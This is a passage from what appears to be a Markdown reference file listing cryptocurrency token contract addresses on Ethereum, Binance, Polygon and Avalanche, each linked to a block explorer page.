[0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE](https://etherscan.io/address/0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE) | 22 | | Ethereum | DAI | [0x6B175474E89094C44Da98b954EedeAC495271d0F](https://etherscan.io/address/0x6B175474E89094C44Da98b954EedeAC495271d0F) | 23 | | Ethereum | HEX | [0x2b591e99afE9f32eAA6214f7B7629768c40Eeb39](https://etherscan.io/address/0x2b591e99afE9f32eAA6214f7B7629768c40Eeb39) | 24 | | Ethereum | UNI | [0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984](https://etherscan.io/address/0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984) | 25 | | Ethereum | LEO | [0x2AF5D2aD76741191D15Dfe7bF6aC92d4Bd912Ca3](https://etherscan.io/address/0x2AF5D2aD76741191D15Dfe7bF6aC92d4Bd912Ca3) | 26 | | Ethereum | WBTC | [0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599](https://etherscan.io/address/0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599) | 27 | | Ethereum | LINK | [0x514910771AF9Ca656af840dff83E8264EcF986CA](https://etherscan.io/address/0x514910771AF9Ca656af840dff83E8264EcF986CA) | 28 | | Ethereum | QNT | [0x4a220E6096B25EADb88358cb44068A3248254675](https://etherscan.io/address/0x4a220E6096B25EADb88358cb44068A3248254675) | 29 | | Ethereum | APE | [0x4d224452801ACEd8B2F0aebE155379bb5D594381](https://etherscan.io/address/0x4d224452801ACEd8B2F0aebE155379bb5D594381) | 30 | | Ethereum | CRO | [0xA0b73E1Ff0B80914AB6fe0444E65848C4C34450b](https://etherscan.io/address/0xA0b73E1Ff0B80914AB6fe0444E65848C4C34450b) | 31 | | Ethereum | LDO | [0x5A98FcBEA516Cf06857215779Fd812CA3beF1B32](https://etherscan.io/address/0x5A98FcBEA516Cf06857215779Fd812CA3beF1B32) | 32 | | Ethereum | NEAR | [0x85F17Cf997934a597031b2E18a9aB6ebD4B9f6a4](https://etherscan.io/address/0x85F17Cf997934a597031b2E18a9aB6ebD4B9f6a4) | 33 | | Ethereum | VEN | [0xD850942eF8811f2A866692A623011bDE52a462C1](https://etherscan.io/address/0xD850942eF8811f2A866692A623011bDE52a462C1) | 34 | | Ethereum | FRAX | [0x853d955aCEf822Db058eb8505911ED77F175b99e](https://etherscan.io/address/0x853d955aCEf822Db058eb8505911ED77F175b99e) | 35 | | Ethereum | aAAVE | [0xba3D9687Cf50fE253cd2e1cFeEdE1d6787344Ed5](https://etherscan.io/address/0xba3D9687Cf50fE253cd2e1cFeEdE1d6787344Ed5) | 36 | | Ethereum | stkAAVE | [0x4da27a545c0c5B758a6BA100e3a049001de870f5](https://etherscan.io/address/0x4da27a545c0c5B758a6BA100e3a049001de870f5) | 37 | | Ethereum | TUSD | [0x0000000000085d4780B73119b644AE5ecd22b376](https://etherscan.io/address/0x0000000000085d4780B73119b644AE5ecd22b376) | 38 | | Ethereum | USDP | [0x8E870D67F660D95d5be530380D0eC0bd388289E1](https://etherscan.io/address/0x8E870D67F660D95d5be530380D0eC0bd388289E1) | 39 | | Ethereum | SAND | [0x3845badAde8e6dFF049820680d1F14bD3903a5d0](https://etherscan.io/address/0x3845badAde8e6dFF049820680d1F14bD3903a5d0) | 40 | | Ethereum | HT | [0x6f259637dcD74C767781E37Bc6133cd6A68aa161](https://etherscan.io/address/0x6f259637dcD74C767781E37Bc6133cd6A68aa161) | 41 | | Ethereum | wMANA | [0xFd09Cf7cFffa9932e33668311C4777Cb9db3c9Be](https://etherscan.io/address/0xFd09Cf7cFffa9932e33668311C4777Cb9db3c9Be) | 42 | | Ethereum | USDD | [0x0C10bF8FcB7Bf5412187A595ab97a3609160b5c6](https://etherscan.io/address/0x0C10bF8FcB7Bf5412187A595ab97a3609160b5c6) | 43 | | Ethereum | KCS | [0xf34960d9d60be18cC1D5Afc1A6F012A723a28811](https://etherscan.io/address/0xf34960d9d60be18cC1D5Afc1A6F012A723a28811) | 44 | | Ethereum | BTT | [0xC669928185DbCE49d2230CC9B0979BE6DC797957](https://etherscan.io/address/0xC669928185DbCE49d2230CC9B0979BE6DC797957) | 45 | | Ethereum | CHZ | [0x3506424F91fD33084466F402d5D97f05F8e3b4AF](https://etherscan.io/address/0x3506424F91fD33084466F402d5D97f05F8e3b4AF) | 46 | | Ethereum | FTM | [0x4E15361FD6b4BB609Fa63C81A2be19d873717870](https://etherscan.io/address/0x4E15361FD6b4BB609Fa63C81A2be19d873717870) | 47 | | Ethereum | GUSD | [0x056Fd409E1d7A124BD7017459dFEa2F387b6d5Cd](https://etherscan.io/address/0x056Fd409E1d7A124BD7017459dFEa2F387b6d5Cd) | 48 | | Ethereum | MKR | [0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2](https://etherscan.io/address/0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2) | 49 | | Ethereum | cUSDC | [0x39AA39c021dfbaE8faC545936693aC917d5E7563](https://etherscan.io/address/0x39AA39c021dfbaE8faC545936693aC917d5E7563) | 50 | | Ethereum | GRT | [0xc944E90C64B2c07662A292be6244BDf05Cda44a7](https://etherscan.io/address/0xc944E90C64B2c07662A292be6244BDf05Cda44a7) | 51 | | Ethereum | PAXG | [0x45804880De22913dAFE09f4980848ECE6EcbAf78](https://etherscan.io/address/0x45804880De22913dAFE09f4980848ECE6EcbAf78) | 52 | | Ethereum | BIT | [0x1A4b46696b2bB4794Eb3D4c26f1c55F9170fa4C5](https://etherscan.io/address/0x1A4b46696b2bB4794Eb3D4c26f1c55F9170fa4C5) | 53 | | Ethereum | XAUt | [0x68749665FF8D2d112Fa859AA293F07A622782F38](https://etherscan.io/address/0x68749665FF8D2d112Fa859AA293F07A622782F38) | 54 | | Ethereum | cDAI | [0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643](https://etherscan.io/address/0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643) | 55 | | Ethereum | SNX | [0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F](https://etherscan.io/address/0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F) | 56 | | Ethereum | FXS | [0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0](https://etherscan.io/address/0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0) | 57 | | Ethereum | NEXO | [0xB62132e35a6c13ee1EE0f84dC5d40bad8d815206](https://etherscan.io/address/0xB62132e35a6c13ee1EE0f84dC5d40bad8d815206) | 58 | | Ethereum | cETH | [0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5](https://etherscan.io/address/0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5) | 59 | | Ethereum | ZIL | [0x05f4a42e251f2d52b8ed15E9FEdAacFcEF1FAD27](https://etherscan.io/address/0x05f4a42e251f2d52b8ed15E9FEdAacFcEF1FAD27) | 60 | | Ethereum | XDCE | [0x41AB1b6fcbB2fA9DCEd81aCbdeC13Ea6315F2Bf2](https://etherscan.io/address/0x41AB1b6fcbB2fA9DCEd81aCbdeC13Ea6315F2Bf2) | 61 | | Ethereum | ONEINCH | [0x111111111117dC0aa78b770fA6A738034120C302](https://etherscan.io/address/0x111111111117dC0aa78b770fA6A738034120C302) | 62 | | Ethereum | steCRV | [0x06325440D014e39736583c165C2963BA99fAf14E](https://etherscan.io/address/0x06325440D014e39736583c165C2963BA99fAf14E) | 63 | | Ethereum | wstETH | [0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0](https://etherscan.io/address/0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0) | 64 |
65 |
66 | 67 | 68 | ### Binance 69 | 70 | 71 | | Network | Token | Address | 72 | | ---------- | -------- | ------------------------------------------------------- | 73 | | Binance | ETH | [0x2170Ed0880ac9A755fd29B2688956BD959F933F8](https://bscscan.com/address/0x2170Ed0880ac9A755fd29B2688956BD959F933F8) | 74 | | Binance | BSCUSD | [0x55d398326f99059fF775485246999027B3197955](https://bscscan.com/address/0x55d398326f99059fF775485246999027B3197955) | 75 | | Binance | WBNB | [0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c](https://bscscan.com/address/0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c) | 76 | | Binance | USDC | [0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d](https://bscscan.com/address/0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d) | 77 | | Binance | anyUSDC | [0x8965349fb649A33a30cbFDa057D8eC2C48AbE2A2](https://bscscan.com/address/0x8965349fb649A33a30cbFDa057D8eC2C48AbE2A2) | 78 | | Binance | XRP | [0x1D2F0da169ceB9fC7B3144628dB156f3F6c60dBE](https://bscscan.com/address/0x1D2F0da169ceB9fC7B3144628dB156f3F6c60dBE) | 79 | | Binance | BUSD | [0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56](https://bscscan.com/address/0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56) | 80 | | Binance | ADA | [0x3EE2200Efb3400fAbB9AacF31297cBdD1d435D47](https://bscscan.com/address/0x3EE2200Efb3400fAbB9AacF31297cBdD1d435D47) | 81 | | Binance | DOGE | [0xbA2aE424d960c26247Dd6c32edC70B295c744C43](https://bscscan.com/address/0xbA2aE424d960c26247Dd6c32edC70B295c744C43) | 82 | | Binance | MATIC | [0xCC42724C6683B7E57334c4E856f4c9965ED682bD](https://bscscan.com/address/0xCC42724C6683B7E57334c4E856f4c9965ED682bD) | 83 | | Binance | LTC | [0x4338665CBB7B2485A8855A139b75D5e34AB0DB94](https://bscscan.com/address/0x4338665CBB7B2485A8855A139b75D5e34AB0DB94) | 84 | | Binance | DAI | [0x1AF3F329e8BE154074D8769D1FFa4eE058B1DBc3](https://bscscan.com/address/0x1AF3F329e8BE154074D8769D1FFa4eE058B1DBc3) | 85 | | Binance | DOT | [0x7083609fCE4d1d8Dc0C979AAb8c869Ea2C873402](https://bscscan.com/address/0x7083609fCE4d1d8Dc0C979AAb8c869Ea2C873402) | 86 | | Binance | SHIB | [0x2859e4544C4bB03966803b044A93563Bd2D0DD4D](https://bscscan.com/address/0x2859e4544C4bB03966803b044A93563Bd2D0DD4D) | 87 | | Binance | UNI | [0xBf5140A22578168FD562DCcF235E5D43A02ce9B1](https://bscscan.com/address/0xBf5140A22578168FD562DCcF235E5D43A02ce9B1) | 88 | | Binance | AVAX | [0x1CE0c2827e2eF14D5C4f29a091d735A204794041](https://bscscan.com/address/0x1CE0c2827e2eF14D5C4f29a091d735A204794041) | 89 | | Binance | ATOM | [0x0Eb3a705fc54725037CC9e008bDede697f62F335](https://bscscan.com/address/0x0Eb3a705fc54725037CC9e008bDede697f62F335) | 90 | | Binance | LINK | [0xF8A0BF9cF54Bb92F17374d9e9A321E6a111a51bD](https://bscscan.com/address/0xF8A0BF9cF54Bb92F17374d9e9A321E6a111a51bD) | 91 | | Binance | ETC | [0x3d6545b08693daE087E957cb1180ee38B9e3c25E](https://bscscan.com/address/0x3d6545b08693daE087E957cb1180ee38B9e3c25E) | 92 | | Binance | BTTp | [0x8595F9dA7b868b1822194fAEd312235E43007b49](https://bscscan.com/address/0x8595F9dA7b868b1822194fAEd312235E43007b49) | 93 | | Binance | BCH | [0x8fF795a6F4D97E7887C79beA79aba5cc76444aDf](https://bscscan.com/address/0x8fF795a6F4D97E7887C79beA79aba5cc76444aDf) | 94 | | Binance | NEAR | [0x1Fa4a73a3F0133f0025378af00236f3aBDEE5D63](https://bscscan.com/address/0x1Fa4a73a3F0133f0025378af00236f3aBDEE5D63) | 95 | | Binance | FRAX | [0x90C97F71E18723b0Cf0dfa30ee176Ab653E89F40](https://bscscan.com/address/0x90C97F71E18723b0Cf0dfa30ee176Ab653E89F40) | 96 | | Binance | EOS | [0x56b6fB708fC5732DEC1Afc8D8556423A2EDcCbD6](https://bscscan.com/address/0x56b6fB708fC5732DEC1Afc8D8556423A2EDcCbD6) | 97 | | Binance | PAX | [0xb7F8Cd00C5A06c0537E2aBfF0b58033d02e5E094](https://bscscan.com/address/0xb7F8Cd00C5A06c0537E2aBfF0b58033d02e5E094) | 98 | | Binance | BTCB | [0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c](https://bscscan.com/address/0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c) | 99 | | Binance | TUSD | [0x14016E85a25aeb13065688cAFB43044C2ef86784](https://bscscan.com/address/0x14016E85a25aeb13065688cAFB43044C2ef86784) | 100 | | Binance | AXS | [0x715D400F88C167884bbCc41C5FeA407ed4D2f8A0](https://bscscan.com/address/0x715D400F88C167884bbCc41C5FeA407ed4D2f8A0) | 101 | | Binance | EGLD | [0xbF7c81FFF98BbE61B40Ed186e4AfD6DDd01337fe](https://bscscan.com/address/0xbF7c81FFF98BbE61B40Ed186e4AfD6DDd01337fe) | 102 | | Binance | USDP | [0xb3c11196A4f3b1da7c23d9FB0A3dDE9c6340934F](https://bscscan.com/address/0xb3c11196A4f3b1da7c23d9FB0A3dDE9c6340934F) | 103 | | Binance | FLOW | [0xC943c5320B9c18C153d1e2d12cC3074bebfb31A2](https://bscscan.com/address/0xC943c5320B9c18C153d1e2d12cC3074bebfb31A2) | 104 | | Binance | XTZ | [0x16939ef78684453bfDFb47825F8a5F714f12623a](https://bscscan.com/address/0x16939ef78684453bfDFb47825F8a5F714f12623a) | 105 | | Binance | USDD | [0xd17479997F34dd9156Deef8F95A52D81D265be9c](https://bscscan.com/address/0xd17479997F34dd9156Deef8F95A52D81D265be9c) | 106 | | Binance | ZEC | [0x1Ba42e5193dfA8B03D15dd1B86a3113bbBEF8Eeb](https://bscscan.com/address/0x1Ba42e5193dfA8B03D15dd1B86a3113bbBEF8Eeb) | 107 | | Binance | SNX | [0x9Ac983826058b8a9C7Aa1C9171441191232E8404](https://bscscan.com/address/0x9Ac983826058b8a9C7Aa1C9171441191232E8404) | 108 | | Binance | TWT | [0x4B0F1812e5Df2A09796481Ff14017e6005508003](https://bscscan.com/address/0x4B0F1812e5Df2A09796481Ff14017e6005508003) | 109 | | Binance | BTT | [0x352Cb5E19b12FC216548a2677bD0fce83BaE434B](https://bscscan.com/address/0x352Cb5E19b12FC216548a2677bD0fce83BaE434B) | 110 | | Binance | MKR | [0x5f0Da599BB2ccCfcf6Fdfd7D81743B6020864350](https://bscscan.com/address/0x5f0Da599BB2ccCfcf6Fdfd7D81743B6020864350) | 111 | | Binance | FTM | [0xAD29AbB318791D579433D831ed122aFeAf29dcfe](https://bscscan.com/address/0xAD29AbB318791D579433D831ed122aFeAf29dcfe) | 112 | | Binance | IOTA | [0xd944f1D1e9d5f9Bb90b62f9D45e447D989580782](https://bscscan.com/address/0xd944f1D1e9d5f9Bb90b62f9D45e447D989580782) | 113 | | Binance | PAXG | [0x7950865a9140cB519342433146Ed5b40c6F210f7](https://bscscan.com/address/0x7950865a9140cB519342433146Ed5b40c6F210f7) | 114 | | Binance | XEC | [0x0Ef2e7602adD1733Bfdb17aC3094d0421B502cA3](https://bscscan.com/address/0x0Ef2e7602adD1733Bfdb17aC3094d0421B502cA3) | 115 | | Binance | FXS | [0xe48A3d7d0Bc88d552f730B62c006bC925eadB9eE](https://bscscan.com/address/0xe48A3d7d0Bc88d552f730B62c006bC925eadB9eE) | 116 | | Binance | ZIL | [0xb86AbCb37C3A4B64f74f59301AFF131a1BEcC787](https://bscscan.com/address/0xb86AbCb37C3A4B64f74f59301AFF131a1BEcC787) | 117 | | Binance | ETHW | [0x302cD8973bE5CA2334B4ff7e7b01BA41455559b3](https://bscscan.com/address/0x302cD8973bE5CA2334B4ff7e7b01BA41455559b3) | 118 | | Binance | ONEINCH | [0x111111111117dC0aa78b770fA6A738034120C302](https://bscscan.com/address/0x111111111117dC0aa78b770fA6A738034120C302) | 119 | | Binance | GALA | [0x7dDEE176F665cD201F93eEDE625770E2fD911990](https://bscscan.com/address/0x7dDEE176F665cD201F93eEDE625770E2fD911990) | 120 | | Binance | BAT | [0x101d82428437127bF1608F699CD651e6Abf9766E](https://bscscan.com/address/0x101d82428437127bF1608F699CD651e6Abf9766E) | 121 | | Binance | XCN | [0x7324c7C0d95CEBC73eEa7E85CbAac0dBdf88a05b](https://bscscan.com/address/0x7324c7C0d95CEBC73eEa7E85CbAac0dBdf88a05b) | 122 | | Binance | COMP | [0x52CE071Bd9b1C4B00A0b92D298c512478CaD67e8](https://bscscan.com/address/0x52CE071Bd9b1C4B00A0b92D298c512478CaD67e8) | 123 |
124 |
125 | 126 | 127 | ### Polygon 128 | 129 | 130 | | Network | Token | Address | 131 | | ---------- | -------- | ------------------------------------------------------- | 132 | | Polygon | USDT | [0xc2132D05D31c914a87C6611C10748AEb04B58e8F](https://polygonscan.com/address/0xc2132D05D31c914a87C6611C10748AEb04B58e8F) | 133 | | Polygon | BNB | [0x3BA4c387f786bFEE076A58914F5Bd38d668B42c3](https://polygonscan.com/address/0x3BA4c387f786bFEE076A58914F5Bd38d668B42c3) | 134 | | Polygon | USDC | [0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174](https://polygonscan.com/address/0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174) | 135 | | Polygon | BUSD | [0xdAb529f40E671A1D4bF91361c21bf9f0C9712ab7](https://polygonscan.com/address/0xdAb529f40E671A1D4bF91361c21bf9f0C9712ab7) | 136 | | Polygon | MATIC | [0x0000000000000000000000000000000000001010](https://polygonscan.com/address/0x0000000000000000000000000000000000001010) | 137 | | Polygon | DAI | [0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063](https://polygonscan.com/address/0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063) | 138 | | Polygon | UNI | [0xb33EaAd8d922B1083446DC23f610c2567fB5180f](https://polygonscan.com/address/0xb33EaAd8d922B1083446DC23f610c2567fB5180f) | 139 | | Polygon | AVAX | [0x2C89bbc92BD86F8075d1DEcc58C7F4E0107f286b](https://polygonscan.com/address/0x2C89bbc92BD86F8075d1DEcc58C7F4E0107f286b) | 140 | | Polygon | LEO | [0x06D02e9D62A13fC76BB229373FB3BBBD1101D2fC](https://polygonscan.com/address/0x06D02e9D62A13fC76BB229373FB3BBBD1101D2fC) | 141 | | Polygon | WBTC | [0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6](https://polygonscan.com/address/0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6) | 142 | | Polygon | LINK | [0xb0897686c545045aFc77CF20eC7A532E3120E0F1](https://polygonscan.com/address/0xb0897686c545045aFc77CF20eC7A532E3120E0F1) | 143 | | Polygon | LINKb | [0x53E0bca35eC356BD5ddDFebbD1Fc0fD03FaBad39](https://polygonscan.com/address/0x53E0bca35eC356BD5ddDFebbD1Fc0fD03FaBad39) | 144 | | Polygon | APE | [0xB7b31a6BC18e48888545CE79e83E06003bE70930](https://polygonscan.com/address/0xB7b31a6BC18e48888545CE79e83E06003bE70930) | 145 | | Polygon | CRO | [0xAdA58DF0F643D959C2A47c9D4d4c1a4deFe3F11C](https://polygonscan.com/address/0xAdA58DF0F643D959C2A47c9D4d4c1a4deFe3F11C) | 146 | | Polygon | LDO | [0xC3C7d422809852031b44ab29EEC9F1EfF2A58756](https://polygonscan.com/address/0xC3C7d422809852031b44ab29EEC9F1EfF2A58756) | 147 | | Polygon | FRAX | [0x45c32fA6DF82ead1e2EF74d17b76547EDdFaFF89](https://polygonscan.com/address/0x45c32fA6DF82ead1e2EF74d17b76547EDdFaFF89) | 148 | | Polygon | AAVE | [0xD6DF932A45C0f255f85145f286eA0b292B21C90B](https://polygonscan.com/address/0xD6DF932A45C0f255f85145f286eA0b292B21C90B) | 149 | | Polygon | TUSD | [0x2e1AD108fF1D8C782fcBbB89AAd783aC49586756](https://polygonscan.com/address/0x2e1AD108fF1D8C782fcBbB89AAd783aC49586756) | 150 | | Polygon | PAX | [0x6F3B3286fd86d8b47EC737CEB3D0D354cc657B3e](https://polygonscan.com/address/0x6F3B3286fd86d8b47EC737CEB3D0D354cc657B3e) | 151 | | Polygon | SAND | [0xBbba073C31bF03b8ACf7c28EF0738DeCF3695683](https://polygonscan.com/address/0xBbba073C31bF03b8ACf7c28EF0738DeCF3695683) | 152 | | Polygon | THETA | [0xB46E0ae620EFd98516f49bb00263317096C114b2](https://polygonscan.com/address/0xB46E0ae620EFd98516f49bb00263317096C114b2) | 153 | | Polygon | HT | [0xFAD65Eb62a97fF5Ed91B23aFD039956aaCa6e93b](https://polygonscan.com/address/0xFAD65Eb62a97fF5Ed91B23aFD039956aaCa6e93b) | 154 | | Polygon | MANA | [0xA1c57f48F0Deb89f569dFbE6E2B7f46D33606fD4](https://polygonscan.com/address/0xA1c57f48F0Deb89f569dFbE6E2B7f46D33606fD4) | 155 | | Polygon | USDD | [0xFFA4D863C96e743A2e1513824EA006B8D0353C57](https://polygonscan.com/address/0xFFA4D863C96e743A2e1513824EA006B8D0353C57) | 156 | | Polygon | CHZ | [0xf1938Ce12400f9a761084E7A80d37e732a4dA056](https://polygonscan.com/address/0xf1938Ce12400f9a761084E7A80d37e732a4dA056) | 157 | | Polygon | FTM | [0xC9c1c1c20B3658F8787CC2FD702267791f224Ce1](https://polygonscan.com/address/0xC9c1c1c20B3658F8787CC2FD702267791f224Ce1) | 158 | | Polygon | GUSD | [0xC8A94a3d3D2dabC3C1CaffFFDcA6A7543c3e3e65](https://polygonscan.com/address/0xC8A94a3d3D2dabC3C1CaffFFDcA6A7543c3e3e65) | 159 | | Polygon | MKR | [0x6f7C932e7684666C9fd1d44527765433e01fF61d](https://polygonscan.com/address/0x6f7C932e7684666C9fd1d44527765433e01fF61d) | 160 | | Polygon | GRT | [0x5fe2B58c013d7601147DcdD68C143A77499f5531](https://polygonscan.com/address/0x5fe2B58c013d7601147DcdD68C143A77499f5531) | 161 | | Polygon | PAXG | [0x553d3D295e0f695B9228246232eDF400ed3560B5](https://polygonscan.com/address/0x553d3D295e0f695B9228246232eDF400ed3560B5) | 162 | | Polygon | SNX | [0x50B728D8D964fd00C2d0AAD81718b71311feF68a](https://polygonscan.com/address/0x50B728D8D964fd00C2d0AAD81718b71311feF68a) | 163 | | Polygon | CRV | [0x172370d5Cd63279eFa6d502DAB29171933a610AF](https://polygonscan.com/address/0x172370d5Cd63279eFa6d502DAB29171933a610AF) | 164 | | Polygon | FXS | [0x1a3acf6D19267E2d3e7f898f42803e90C9219062](https://polygonscan.com/address/0x1a3acf6D19267E2d3e7f898f42803e90C9219062) | 165 | | Polygon | NEXO | [0x41b3966B4FF7b427969ddf5da3627d6AEAE9a48E](https://polygonscan.com/address/0x41b3966B4FF7b427969ddf5da3627d6AEAE9a48E) | 166 | | Polygon | WOO | [0x1B815d120B3eF02039Ee11dC2d33DE7aA4a8C603](https://polygonscan.com/address/0x1B815d120B3eF02039Ee11dC2d33DE7aA4a8C603) | 167 | | Polygon | ONEINCH | [0x9c2C5fd7b07E95EE044DDeba0E97a665F142394f](https://polygonscan.com/address/0x9c2C5fd7b07E95EE044DDeba0E97a665F142394f) | 168 | | Polygon | BAT | [0x3Cef98bb43d732E2F285eE605a8158cDE967D219](https://polygonscan.com/address/0x3Cef98bb43d732E2F285eE605a8158cDE967D219) | 169 | | Polygon | ENJ | [0x7eC26842F195c852Fa843bB9f6D8B583a274a157](https://polygonscan.com/address/0x7eC26842F195c852Fa843bB9f6D8B583a274a157) | 170 | | Polygon | LRC | [0x84e1670F61347CDaeD56dcc736FB990fBB47ddC1](https://polygonscan.com/address/0x84e1670F61347CDaeD56dcc736FB990fBB47ddC1) | 171 | | Polygon | RPL | [0x7205705771547cF79201111B4bd8aaF29467b9eC](https://polygonscan.com/address/0x7205705771547cF79201111B4bd8aaF29467b9eC) | 172 | | Polygon | HOT | [0x0C51f415cF478f8D08c246a6C6Ee180C5dC3A012](https://polygonscan.com/address/0x0C51f415cF478f8D08c246a6C6Ee180C5dC3A012) | 173 | | Polygon | POLY | [0xcB059C5573646047D6d88dDdb87B745C18161d3b](https://polygonscan.com/address/0xcB059C5573646047D6d88dDdb87B745C18161d3b) | 174 | | Polygon | SXP | [0x6aBB753C1893194DE4a83c6e8B4EadFc105Fd5f5](https://polygonscan.com/address/0x6aBB753C1893194DE4a83c6e8B4EadFc105Fd5f5) | 175 | | Polygon | COMP | [0x8505b9d2254A7Ae468c0E9dd10Ccea3A837aef5c](https://polygonscan.com/address/0x8505b9d2254A7Ae468c0E9dd10Ccea3A837aef5c) | 176 | | Polygon | GNO | [0x5FFD62D3C3eE2E81C00A7b9079FB248e7dF024A8](https://polygonscan.com/address/0x5FFD62D3C3eE2E81C00A7b9079FB248e7dF024A8) | 177 | | Polygon | IOTX | [0xf6372cDb9c1d3674E83842e3800F2A62aC9F3C66](https://polygonscan.com/address/0xf6372cDb9c1d3674E83842e3800F2A62aC9F3C66) | 178 | | Polygon | CEL | [0xD85d1e945766Fea5Eda9103F918Bd915FbCa63E6](https://polygonscan.com/address/0xD85d1e945766Fea5Eda9103F918Bd915FbCa63E6) | 179 | | Polygon | BAL | [0x9a71012B13CA4d3D0Cdc72A177DF3ef03b0E76A3](https://polygonscan.com/address/0x9a71012B13CA4d3D0Cdc72A177DF3ef03b0E76A3) | 180 | | Polygon | SUSHI | [0x0b3F868E0BE5597D5DB7fEB59E1CADBb0fdDa50a](https://polygonscan.com/address/0x0b3F868E0BE5597D5DB7fEB59E1CADBb0fdDa50a) | 181 | | Polygon | UST | [0x692597b009d13C4049a947CAB2239b7d6517875F](https://polygonscan.com/address/0x692597b009d13C4049a947CAB2239b7d6517875F) | 182 |
183 |
184 | 185 | 186 | ### Avalanche 187 | 188 | 189 | | Network | Token | Address | 190 | | ---------- | -------- | ------------------------------------------------------- | 191 | | Avalanche | USDTe | [0xc7198437980c041c805A1EDcbA50c1Ce5db95118](https://snowtrace.io/address/0xc7198437980c041c805A1EDcbA50c1Ce5db95118) | 192 | | Avalanche | USDt | [0x9702230A8Ea53601f5cD2dc00fDBc13d4dF4A8c7](https://snowtrace.io/address/0x9702230A8Ea53601f5cD2dc00fDBc13d4dF4A8c7) | 193 | | Avalanche | USDCe | [0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664](https://snowtrace.io/address/0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664) | 194 | | Avalanche | USDC | [0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E](https://snowtrace.io/address/0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E) | 195 | | Avalanche | BUSDe | [0x19860CCB0A68fd4213aB9D8266F7bBf05A8dDe98](https://snowtrace.io/address/0x19860CCB0A68fd4213aB9D8266F7bBf05A8dDe98) | 196 | | Avalanche | BUSD | [0x9C9e5fD8bbc25984B178FdCE6117Defa39d2db39](https://snowtrace.io/address/0x9C9e5fD8bbc25984B178FdCE6117Defa39d2db39) | 197 | | Avalanche | DAIe | [0xd586E7F844cEa2F87f50152665BCbc2C279D8d70](https://snowtrace.io/address/0xd586E7F844cEa2F87f50152665BCbc2C279D8d70) | 198 | | Avalanche | SHIBe | [0x02D980A0D7AF3fb7Cf7Df8cB35d9eDBCF355f665](https://snowtrace.io/address/0x02D980A0D7AF3fb7Cf7Df8cB35d9eDBCF355f665) | 199 | | Avalanche | UNIe | [0x8eBAf22B6F053dFFeaf46f4Dd9eFA95D89ba8580](https://snowtrace.io/address/0x8eBAf22B6F053dFFeaf46f4Dd9eFA95D89ba8580) | 200 | | Avalanche | WAVAX | [0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7](https://snowtrace.io/address/0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7) | 201 | | Avalanche | WBTCe | [0x50b7545627a5162F82A992c33b87aDc75187B218](https://snowtrace.io/address/0x50b7545627a5162F82A992c33b87aDc75187B218) | 202 | | Avalanche | LINKe | [0x5947BB275c521040051D82396192181b413227A3](https://snowtrace.io/address/0x5947BB275c521040051D82396192181b413227A3) | 203 | | Avalanche | FRAX | [0xD24C2Ad096400B6FBcd2ad8B24E7acBc21A1da64](https://snowtrace.io/address/0xD24C2Ad096400B6FBcd2ad8B24E7acBc21A1da64) | 204 | | Avalanche | AAVEe | [0x63a72806098Bd3D9520cC43356dD78afe5D386D9](https://snowtrace.io/address/0x63a72806098Bd3D9520cC43356dD78afe5D386D9) | 205 | | Avalanche | TUSD | [0x1C20E891Bab6b1727d14Da358FAe2984Ed9B59EB](https://snowtrace.io/address/0x1C20E891Bab6b1727d14Da358FAe2984Ed9B59EB) | 206 | | Avalanche | USDD | [0xcf799767d366d789e8B446981C2D578E241fa25c](https://snowtrace.io/address/0xcf799767d366d789e8B446981C2D578E241fa25c) | 207 | | Avalanche | SNXe | [0xBeC243C995409E6520D7C41E404da5dEba4b209B](https://snowtrace.io/address/0xBeC243C995409E6520D7C41E404da5dEba4b209B) | 208 | | Avalanche | GRTe | [0x8a0cAc13c7da965a312f08ea4229c37869e85cB9](https://snowtrace.io/address/0x8a0cAc13c7da965a312f08ea4229c37869e85cB9) | 209 | | Avalanche | MKRe | [0x88128fd4b259552A9A1D457f435a6527AAb72d42](https://snowtrace.io/address/0x88128fd4b259552A9A1D457f435a6527AAb72d42) | 210 | | Avalanche | CRVe | [0x249848BeCA43aC405b8102Ec90Dd5F22CA513c06](https://snowtrace.io/address/0x249848BeCA43aC405b8102Ec90Dd5F22CA513c06) | 211 | | Avalanche | FXS | [0x214DB107654fF987AD859F34125307783fC8e387](https://snowtrace.io/address/0x214DB107654fF987AD859F34125307783fC8e387) | 212 | | Avalanche | ONEINCHe | [0xd501281565bf7789224523144Fe5D98e8B28f267](https://snowtrace.io/address/0xd501281565bf7789224523144Fe5D98e8B28f267) | 213 | | Avalanche | BATe | 